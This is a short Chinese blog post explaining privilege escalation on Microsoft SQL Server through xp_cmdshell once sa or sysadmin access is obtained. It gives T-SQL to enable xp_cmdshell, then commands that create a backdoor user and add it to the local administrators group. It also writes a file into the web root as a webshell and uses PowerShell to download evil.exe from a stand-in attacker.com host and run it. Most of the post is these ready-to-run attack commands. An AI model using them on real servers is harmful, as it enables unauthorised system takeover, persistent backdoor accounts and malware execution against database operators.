SQL Server-xp_cmdshell提权

什么是 xp_cmdshell?

xp_cmdshell 是 SQL Server 的一个扩展存储过程,可以让数据库直接执行系统命令,相当于在目标主机上执行 cmd 命令

条件

  1. 已获取 SQL Server 权限(sa 或 sysadmin 权限)
  2. xp_cmdshell 功能处于开启状态(默认是关闭)
  3. 数据库服务运行账户拥有系统权限(如 LocalSystem)

开启 xp_cmdshell(需要 sa 权限)

-- 1. 启用高级选项
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

-- 2. 启用 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

提权操作示例

1. 直接执行系统命令(反弹 shell、添加用户等)

-- 添加一个用户
EXEC xp_cmdshell 'net user test123 P@ssw0rd /add';

-- 把用户加到管理员组
EXEC xp_cmdshell 'net localgroup administrators test123 /add';

上传并执行木马(webshell 或反弹 shell)

-- 使用 echo 写文件
EXEC xp_cmdshell 'echo test > C:\inetpub\wwwroot\test.aspx';

-- 或者下载 payload
EXEC xp_cmdshell 'powershell -Command "Invoke-WebRequest -Uri http://attacker.com/evil.exe -OutFile C:\evil.exe"';

-- 执行 payload
EXEC xp_cmdshell 'C:\evil.exe';
posted @ 2025-07-24 08:02  ALe_#3  阅读(53)  评论(0)    收藏  举报  来源